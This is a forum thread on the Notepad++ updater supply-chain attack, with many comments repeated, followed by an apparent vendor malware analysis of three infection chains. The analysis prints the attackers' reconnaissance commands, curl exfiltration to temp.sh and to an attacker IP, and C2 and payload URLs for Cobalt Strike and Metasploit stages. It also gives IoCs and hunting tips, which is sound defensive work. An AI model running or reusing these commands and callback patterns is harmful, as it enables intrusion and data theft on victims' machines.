Notepad++ supply chain attack breakdown

The WinGUp updater compromise is a textbook example of why update mechanisms are such high-value targets. Attackers get code execution on machines that specifically trust the update channel.

What's concerning is the 6-month window. Supply chain attacks are difficult to detect because the malicious code runs with full user permissions from a "trusted" source. Most endpoint protection isn't designed to flag software from a legitimate publisher's update infrastructure.

For organizations, this argues for staged rollouts and network monitoring for unexpected outbound connections from common applications. For individuals, package managers with cryptographic verification at least add another barrier - though obviously not bulletproof either.

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in.

There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

I'm out of the loop: How did they bypass Notepad++'s digital signatures? I just downloaded it to double-check, and the installer is signed with a valid code-signing certificate.

> cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

Naive question, but isn't this relatively safe information to expose for this level of attack? I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info? Still, that seems like a lot of effort just to get this data.

I guess package managers win in the end. I got two emails from my IT department in the last year telling me to immediately update it.

It now seems to be best practice to simultaneously keep things updated (to avoid newly discovered vulnerabilities), but also not update them too much (to avoid supply chain attacks). Honestly not sure how I'm meant to action those at the same time.

I noticed I had version 8.9 on Dec 28, 2025 and it seems clean according to

https://arstechnica.com/security/2026/02/notepad-updater-was...

I recommend removing notepad++ and installing via winget which installs the EXE directly without the winGUP updater service.

Here's an AI summary explaining who is affected.

Affected Versions: All versions of Notepad++ released prior to version 8.8.9 are considered potentially affected if an update was initiated during the compromise window.

Compromise Window: Between June 2025 and December 2, 2025.

Specific Risk: Users running older versions that utilized the WinGUp update tool were vulnerable to being redirected to malicious servers. These servers delivered trojanized installers containing a custom backdoor dubbed Chrysalis.

The article starts out by saying that Notepad++ "is a text editor popular among developers". Really?

The WinGUp updater compromise is a textbook example of why update mechanisms are such high-value targets. Attackers get code execution on machines that specifically trust the update channel.

I guess package managers win in the end. I got two emails from my IT department in the last year telling me to immediately update it.

I noticed I had version 8.9 on Dec 28, 2025 and it seems clean according to

https://arstechnica.com/security/2026/02/notepad-updater-was...

I recommend removing notepad++ and installing via winget which installs the EXE directly without the winGUP updater service.

Here's an AI summary explaining who is affected.

Affected Versions: All versions of Notepad++ released prior to version 8.8.9 are considered potentially affected if an update was initiated during the compromise window.

Compromise Window: Between June 2025 and December 2, 2025.

I am running a lot of tools inside sandbox now for exactly this reason. The damage is confined to the directory I'm running that tool in.

There is no reason for a tool to implicitly access my mounted cloud drive directory and browser cookies data.

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions.

Linux people are very resistant to this, but the future is going to be sandboxed iOS style apps. Not because OS vendors want to control what apps do, but because users do. If the FOSS community continues to ignore proper security sandboxing and distribution of end user applications, then it will just end up entirely centralised in one of the big tech companies, as it already is on iOS and macOS by Apple.

I almost feel like this should just be the default action for all applications. I don't need them to escape out of a defined root. It's almost like your documents and application are effectively locked together. You have to give permissions for an app to extra data from outside of the sandbox.

Linux has this capability, of course. And it seems like MacOS prompts me a lot for "such and such application wants to access this or that". But I think it could be a lot more fine-grained, personally.

I'm out of the loop: How did they bypass Notepad++'s digital signatures? I just downloaded it to double-check, and the installer is signed with a valid code-signing certificate.

The updater doesn't check the certificate of the updated installer, it just executes whatever.

> cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt

>I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info?

You don't need 0days when you already have RCE on an unsandboxed system.

it's not "just to get that data", it's to confirm level of access, check for potential other exploiters or security software, identify the machine you have access to, identify what the machine has network connectivity to, etc. The attacker then maintains the c2 channel and can then perform their actual objective with the help of the data they have obtained.

I imagine that it depends on the use case.

Using notepad++ (or whatever other program) in a manner that deals with internet content a lot - then updating is the thing.

Using these tools in a trusted space (local files/network only) : then don't update unless it needs to be different to do what you want.

For many people, something in between because new files/network-tech comes and goes from the internet. So, update occasionally...

In the early days, updates quite often made systems less stable, by a demonstrable margin. My dad once turned off all updates on his Windows machine, with the ensuing peril that you can imagine.

Sadly, it feels like Microsoft updates lately have trended back towards being unreliable and even user hostile. It's messed up if you update and can't boot your machine afterwards, but here we are. People are going to turn off automatic updates again.

Separate vetted security updates and major releases where needed, with stable point releases where applicable.

Auto apply urgent security updates at whatever interval you need, but prefer manual approvals if you have the staff.

Update from local images wherever possible.

I feel like supply chain attacks are the much rarer situation than real world exploits but I don’t have numbers.

Unless there's an announcement of a zero day, update a month after each new release. Keeps you on a recent version while giving security systems and researchers time to detect threats.

Debian stable. If you need something to be on the bleeding edge install it from backports or build from source. But keep most of your system boring and stable. It has worked fine for me for years.

The article starts out by saying that Notepad++ "is a text editor popular among developers". Really?

First three things I install on any machine - 7zip, Notepad++, alternate browser.

LOL I guess the editors using Notepad++ downvoted you :P

The updater doesn't check the certificate of the updated installer, it just executes whatever.

>I guess the idea is to find systems vulnerable to 0-day exploits and similar based on this info?

You don't need 0days when you already have RCE on an unsandboxed system.

I imagine that it depends on the use case.

Using notepad++ (or whatever other program) in a manner that deals with internet content a lot - then updating is the thing.

Using these tools in a trusted space (local files/network only) : then don't update unless it needs to be different to do what you want.

For many people, something in between because new files/network-tech comes and goes from the internet. So, update occasionally...

In the early days, updates quite often made systems less stable, by a demonstrable margin. My dad once turned off all updates on his Windows machine, with the ensuing peril that you can imagine.

Separate vetted security updates and major releases where needed, with stable point releases where applicable.

Auto apply urgent security updates at whatever interval you need, but prefer manual approvals if you have the staff.

Update from local images wherever possible.

MacOS has been getting a lot of flak recently for (correct) UI reasons, but I honestly feel like they're the closest to the money with granular app permissions.

I think we could get a lot further if we implement proper capability based security. Meaning that the authority to perform actions follows the objects around. I think that is how we get powerful tools and freedom, but still address the security issues and actually achieve the principle of least privilege.

For FreeBSD there is capsicum, but it seems a bit inflexible to me. Would love to see more experiments on Linux and the BSDs for this.

It also has persistent permissions.

Think about it from a real world perspective.

I knock on your door. You invite me to sit with you in your living room. I can't easily sneak into your bed room. Further, your temporary access ends as soon as you exit my house.

The same should happen with apps.

When I run 'notepad dir1/file1.txt', the package should not sneakily be able to access dir2. Further, as soon as I exit the process, the permission to access dir1 should end as well.

Sand-boxing such as in Snap and Flatpak?

> getting a lot of slack recently

I think you mean a lot of flak? Slack would kind of be the opposite.

I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

There is no such thing as computer security, in general, at this point in history.

I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me.

iOS and Android both implement these security policies correctly. Why can't desktop operating systems?

For FreeBSD there is capsicum, but it seems a bit inflexible to me. Would love to see more experiments on Linux and the BSDs for this.

Unless there's an announcement of a zero day, update a month after each new release. Keeps you on a recent version while giving security systems and researchers time to detect threats.

First three things I install on any machine - 7zip, Notepad++, alternate browser.

LOL I guess the editors using Notepad++ downvoted you :P

It also has persistent permissions.

Think about it from a real world perspective.

I knock on your door. You invite me to sit with you in your living room. I can't easily sneak into your bed room. Further, your temporary access ends as soon as you exit my house.

The same should happen with apps.

When I run 'notepad dir1/file1.txt', the package should not sneakily be able to access dir2. Further, as soon as I exit the process, the permission to access dir1 should end as well.

Sand-boxing such as in Snap and Flatpak?

Snap and Flatpak do both sandboxing and package management.

You can use the underlying sandboxing with bwrap. A good alternative is firejail. They are quite easy to use.

I prefer to centralize package management to my distro, but I value their sandboxing efforts.

Personally, I think it's time to take sandboxing seriously. Supply chain attacks keep happening. Defense is depth is the way.

Notoriously not actually secure, at least in the case of Flatpak. (Can't speak to Snap)

Not sure how something can be called a sandbox without the actual box part. As Siri is to AI, Flatpak is to sandboxes.

> getting a lot of slack recently

I think you mean a lot of flak? Slack would kind of be the opposite.

Haha, yes, corrected. Thank you. I have a habit of fusing unrelated expressions.

I'm sure that will contribute to the illusion of security, but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

There is no such thing as computer security, in general, at this point in history.

> but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

Indeed. Why lock your car door as anyone can unlock and steal it by learning lock-picking?

There's a subtlety that's missing here: if your threat model doesn't include the actors who can access those backdoors, then computer security isn't so bad these days.

That subtlety is important because it explains how the backdoors have snuck in — most people feel safe because they are not targeted, so there's no hue and cry.

I've been arguing for this for years. There's no reason every random binary should have unfettered, invisible access to everything on my computer as if it were me.

iOS and Android both implement these security policies correctly. Why can't desktop operating systems?

Mobile platforms are entirely useless to me for exactly this reason, individual islands that don't interact to make anything more generally useful. I would never use any os that worked like that, it's for toys and disposable software only imo.

The short answer is tech debt. The major mobile OSes got to build a new application distribution platform from day 0 in the late 2000s, one which focused on power consumption and application sandboxing from the getgo etc.

The most popular desktop OSes have decades of pre-existing software and APIs to support and, like all old software, the debt of choices made a long time ago that are now hard/expensive to put right.

The major desktop OSes are to some degree moving in this direction now (note the ever increasing presence of security prompts when opening "things" on macOS etc etc), but absent a clean sheet like the mobile OSes got, this arguably can't happen easily over night.

I feel like supply chain attacks are the much rarer situation than real world exploits but I don’t have numbers.

Supply chain attacks have impact on more systems, so it's more likely that your system is one of it. Opening a poisoned textfile that contains a exploit that attacks your text editor and fits exactly to your version is a rare event compared to automatically contacting a server to ask for a executable to execute without asking you.

Debian stable. If you need something to be on the bleeding edge install it from backports or build from source. But keep most of your system boring and stable. It has worked fine for me for years.

Snap and Flatpak do both sandboxing and package management.

You can use the underlying sandboxing with bwrap. A good alternative is firejail. They are quite easy to use.

I prefer to centralize package management to my distro, but I value their sandboxing efforts.

Personally, I think it's time to take sandboxing seriously. Supply chain attacks keep happening. Defense is depth is the way.

Haha, yes, corrected. Thank you. I have a habit of fusing unrelated expressions.

There's a subtlety that's missing here: if your threat model doesn't include the actors who can access those backdoors, then computer security isn't so bad these days.

That subtlety is important because it explains how the backdoors have snuck in — most people feel safe because they are not targeted, so there's no hue and cry.

The most popular desktop OSes have decades of pre-existing software and APIs to support and, like all old software, the debt of choices made a long time ago that are now hard/expensive to put right.

As long as you do regulary updates of your debian stable, you are not secured against supply chain attacks.

Notoriously not actually secure, at least in the case of Flatpak. (Can't speak to Snap)

Not sure how something can be called a sandbox without the actual box part. As Siri is to AI, Flatpak is to sandboxes.

The XDG portal standards being developed to provide permissions to apps (and allow users to manage them), including those installed via Flatpak, will continue to be useful if and when the sandboxing security of Flatpaks are improved. (In fact, having the frontend management part in place is kind of a prerequisite to really enforcing a lot of restrictions on apps, lest they just stop working suddenly.)

> but in reality the system is thoroughly backdoored on every level from the CPU on up, and everyone knows it.

Indeed. Why lock your car door as anyone can unlock and steal it by learning lock-picking?

Residents of San Francisco ask themselves that question all the time.

As long as you do regulary updates of your debian stable, you are not secured against supply chain attacks.

I don't think you understand Debian. There's a new release every 2 years. A few months before every release there's the so called package freeze, and whatever version the packages are on at that point that's the version they will have for the next release. Between releases the only updates are security updates.

Do you mean I should worry about the fixed CVEs that are announced and fixed for every other distribution at the same time? Is that the supply-chain attack you're referring to?

Residents of San Francisco ask themselves that question all the time.

Do you mean I should worry about the fixed CVEs that are announced and fixed for every other distribution at the same time? Is that the supply-chain attack you're referring to?

Introduction

On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ has been compromised. According to the statement, this was due to a hosting provider level incident, which occurred from June to September 2025. However, attackers were able to retain access to internal services until December 2025.

Multiple execution chains and payloads

Having checked our telemetry related to this incident, we have been amazed to find out how different and unique were the execution chains used in this supply chain attack. We identified that over the course of four months, from July to October 2025, attackers who have compromised Notepad++ have been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.

We observed three different infection chains overall designed to attack about a dozen machines, belonging to:

Individuals located in Vietnam, El Salvador and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.

Despite the variety of payloads observed, Kaspersky solutions have been able to block the identified attacks as they occurred.

In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.

Chain #1 — late July and early August 2025

We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155\[.\]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.

The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer, of about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:

The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.

Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, has been described on the Notepad++ community forums by a user named soft-parsley.

After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:

Drops the following files to the %appdata%\ProShow directory:
- ProShow.exe (SHA1: defb05d5a91e4920c9e22de2d81c5dc9b95a9a7c)
- defscr (SHA1: 259cd3542dea998c57f67ffdd4543ab836e3d2a3)
- if.dnt (SHA1: 46654a7ad6bc809b623c51938954de48e27a5618)
- proshow.crs (SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)
- proshow.phd (SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709)
- proshow_e.bmp (SHA1: 9df6ecc47b192260826c247bf8d40384aa6e6fd6)
- load (SHA1: 06a6a5a39193075734a32e0235bde0e979c27228)
Executes the dropped ProShow.exe file.

The launched ProShow.exe file is a legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers have decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.

Analysis of the exploit payload revealed that it contains two shellcodes — one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contains a set of meaningless instructions and is not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.

The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31\[.\]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.

The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31\[.\]210/api/update/v1 and the POST request URL https://45.77.31\[.\]210/api/FileUpload/submit.

Later on, in early August 2025, we have observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:

In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it\[.\]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it\[.\]com/api/update/v1 and https://cdncheck.it\[.\]com/api/Metadata/submit.

We have not further seen any infections leveraging chain #1 after early August 2025.

Chain #2 — middle and end of September 2025

A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the http://45.76.155\[.\]202/update/update.exe URL, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:

Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.

Regarding system information, attackers made the following changes to how it was collected:

They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the executed shell command to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.

The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155\[.\]202/list endpoint, inside the User-Agent header.

As for the next-stage payload, it has been changed completely. The NSIS installer was configured to drop the following files to the %APPDATA%\Adobe\Scripts directory:

alien.dll (SHA1: 6444dab57d93ce987c22da66b3706d5d7fc226da);
lua5.1.dll (SHA1: 2ab0758dda4e71aee6f4c8e4c0265a796518f07d);
script.exe (SHA1: bf996a709835c0c16cce1015e6d44fc95e08a38a);
alien.ini (SHA1: ca4b6fe0c69472cd3d63b212eb805b7f65710d33).

Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.

All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:

As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.

The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the https://cdncheck.it\[.\]com/users/admin URL.

The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it\[.\]com/api/getInfo/v1 and https://cdncheck.it\[.\]com/api/FileUpload/submit.

Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:

cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt

Notably, the same sequence of commands has been previously documented by the soft-parsley user on the Notepad++ community forums.

The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. Using it, attackers performed the following:

Changed the system information upload URL to https://self-dns.it\[.\]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it\[.\]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it\[.\]com/resolve and https://safe-dns.it\[.\]com/dns-query.

Chain #3 — October 2025

In early October 2025, attackers changed the infection chain once again. They have as well changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144\[.\]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:

BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).

This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.

Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected with the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:

In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31\[.\]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31\[.\]210/api/FileUpload/submit for the chain #1 payload).

Return of chain #2 and changes in URLs — October 2025

In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213\[.\]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.

Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:

We haven’t observed any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we have not seen any payloads being deployed starting from November 2025.

Conclusion

Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:

The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult and at the same time creative task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:

Check systems for deployments of NSIS installers, which have been used in all three observed execution chains. For example, this can be done by looking for logs related to creations of the %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use specific IoCs listed below to identify known malicious domains and files.